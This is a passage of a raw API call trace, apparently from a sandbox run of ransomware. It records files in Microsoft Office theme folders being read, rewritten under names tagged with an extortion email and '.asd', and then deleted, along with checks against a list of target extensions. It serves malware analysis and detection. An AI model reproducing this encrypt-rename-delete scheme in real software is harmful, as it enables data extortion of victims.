shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.267] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=18817) returned 1 [0054.267] CloseHandle (hObject=0x168) returned 1 [0054.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0054.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.267] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.267] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.267] GetLastError () returned 0x0 [0054.267] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x4981, lpOverlapped=0x0) returned 1 [0054.271] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0054.272] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.272] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.273] SetEndOfFile (hFile=0x20c) returned 1 [0054.273] CloseHandle (hObject=0x20c) returned 1 [0054.273] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.273] SetEndOfFile (hFile=0x168) returned 1 [0054.274] CloseHandle (hObject=0x168) returned 1 [0054.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.274] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0054.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.274] lstrlenW (lpString=".doc") returned 4 [0054.274] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.274] lstrlenW (lpString=".docx") returned 5 [0054.274] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.274] lstrlenW (lpString=".pdf") returned 4 [0054.275] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.275] lstrlenW (lpString=".xls") returned 4 [0054.275] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.275] lstrlenW (lpString=".xlsx") returned 5 [0054.275] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.275] lstrlenW (lpString=".ppt") returned 4 [0054.275] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.275] lstrlenW (lpString=".zip") returned 4 [0054.275] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.275] lstrlenW (lpString=".rar") returned 4 [0054.275] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.275] lstrlenW (lpString=".bz2") returned 4 [0054.275] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.275] lstrlenW (lpString=".7z") returned 3 [0054.275] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.275] lstrlenW (lpString=".dbf") returned 4 [0054.275] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.275] lstrlenW (lpString=".1cd") returned 4 [0054.275] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.275] lstrlenW (lpString=".jpg") returned 4 [0054.275] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.275] lstrlenW (lpString=".doc") returned 4 [0054.275] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.275] lstrlenW (lpString=".docx") returned 5 [0054.275] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.275] lstrlenW (lpString=".pdf") returned 4 [0054.276] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.276] lstrlenW (lpString=".xls") returned 4 [0054.276] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.276] lstrlenW (lpString=".xlsx") returned 5 [0054.276] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.276] lstrlenW (lpString=".ppt") returned 4 [0054.276] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.276] lstrlenW (lpString=".zip") returned 4 [0054.276] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.276] lstrlenW (lpString=".rar") returned 4 [0054.276] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.276] lstrlenW (lpString=".bz2") returned 4 [0054.276] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.276] lstrlenW (lpString=".7z") returned 3 [0054.276] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.276] lstrlenW (lpString=".dbf") returned 4 [0054.276] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.276] lstrlenW (lpString=".1cd") returned 4 [0054.276] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0054.276] lstrlenW (lpString=".jpg") returned 4 [0054.276] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.276] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.276] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.277] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=5179) returned 1 [0054.277] CloseHandle (hObject=0x168) returned 1 [0054.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0054.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.277] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.277] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0054.280] GetLastError () returned 0x0 [0054.280] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x143b, lpOverlapped=0x0) returned 1 [0054.283] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0054.284] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.284] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.284] SetEndOfFile (hFile=0x188) returned 1 [0054.284] CloseHandle (hObject=0x188) returned 1 [0054.284] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.284] SetEndOfFile (hFile=0x168) returned 1 [0054.285] CloseHandle (hObject=0x168) returned 1 [0054.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.285] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0054.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.285] lstrlenW (lpString=".doc") returned 4 [0054.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.286] lstrlenW (lpString=".docx") returned 5 [0054.286] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.286] lstrlenW (lpString=".pdf") returned 4 [0054.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.286] lstrlenW (lpString=".xls") returned 4 [0054.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.286] lstrlenW (lpString=".xlsx") returned 5 [0054.286] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.286] lstrlenW (lpString=".ppt") returned 4 [0054.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.286] lstrlenW (lpString=".zip") returned 4 [0054.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.286] lstrlenW (lpString=".rar") returned 4 [0054.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.286] lstrlenW (lpString=".bz2") returned 4 [0054.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.286] lstrlenW (lpString=".7z") returned 3 [0054.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.286] lstrlenW (lpString=".dbf") returned 4 [0054.286] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.286] lstrlenW (lpString=".1cd") returned 4 [0054.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.286] lstrlenW (lpString=".jpg") returned 4 [0054.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.286] lstrlenW (lpString=".doc") returned 4 [0054.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.287] lstrlenW (lpString=".docx") returned 5 [0054.287] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.287] lstrlenW (lpString=".pdf") returned 4 [0054.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.287] lstrlenW (lpString=".xls") returned 4 [0054.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.287] lstrlenW (lpString=".xlsx") returned 5 [0054.287] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.287] lstrlenW (lpString=".ppt") returned 4 [0054.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.287] lstrlenW (lpString=".zip") returned 4 [0054.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.287] lstrlenW (lpString=".rar") returned 4 [0054.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.287] lstrlenW (lpString=".bz2") returned 4 [0054.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.287] lstrlenW (lpString=".7z") returned 3 [0054.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.287] lstrlenW (lpString=".dbf") returned 4 [0054.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.287] lstrlenW (lpString=".1cd") returned 4 [0054.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0054.287] lstrlenW (lpString=".jpg") returned 4 [0054.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.288] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.288] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.288] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=33559) returned 1 [0054.288] CloseHandle (hObject=0x168) returned 1 [0054.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0054.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.288] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.288] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0054.289] GetLastError () returned 0x0 [0054.289] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x8317, lpOverlapped=0x0) returned 1 [0054.415] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0054.416] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.416] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.417] SetEndOfFile (hFile=0x188) returned 1 [0054.417] CloseHandle (hObject=0x188) returned 1 [0054.417] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.417] SetEndOfFile (hFile=0x168) returned 1 [0054.418] CloseHandle (hObject=0x168) returned 1 [0054.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.418] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0054.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.419] lstrlenW (lpString=".doc") returned 4 [0054.419] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.419] lstrlenW (lpString=".docx") returned 5 [0054.419] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.419] lstrlenW (lpString=".pdf") returned 4 [0054.419] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.419] lstrlenW (lpString=".xls") returned 4 [0054.419] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.419] lstrlenW (lpString=".xlsx") returned 5 [0054.419] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.419] lstrlenW (lpString=".ppt") returned 4 [0054.419] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.419] lstrlenW (lpString=".zip") returned 4 [0054.419] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.419] lstrlenW (lpString=".rar") returned 4 [0054.419] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.419] lstrlenW (lpString=".bz2") returned 4 [0054.419] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.419] lstrlenW (lpString=".7z") returned 3 [0054.419] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.419] lstrlenW (lpString=".dbf") returned 4 [0054.419] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.419] lstrlenW (lpString=".1cd") returned 4 [0054.419] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.419] lstrlenW (lpString=".jpg") returned 4 [0054.419] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.420] lstrlenW (lpString=".doc") returned 4 [0054.420] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.420] lstrlenW (lpString=".docx") returned 5 [0054.420] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.420] lstrlenW (lpString=".pdf") returned 4 [0054.420] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.420] lstrlenW (lpString=".xls") returned 4 [0054.420] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.420] lstrlenW (lpString=".xlsx") returned 5 [0054.420] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.420] lstrlenW (lpString=".ppt") returned 4 [0054.420] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.420] lstrlenW (lpString=".zip") returned 4 [0054.420] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.420] lstrlenW (lpString=".rar") returned 4 [0054.420] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.420] lstrlenW (lpString=".bz2") returned 4 [0054.420] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.420] lstrlenW (lpString=".7z") returned 3 [0054.420] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.420] lstrlenW (lpString=".dbf") returned 4 [0054.420] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.420] lstrlenW (lpString=".1cd") returned 4 [0054.421] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0054.421] lstrlenW (lpString=".jpg") returned 4 [0054.421] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.421] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.421] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.564] GetFileSizeEx (in: hFile=0x204, 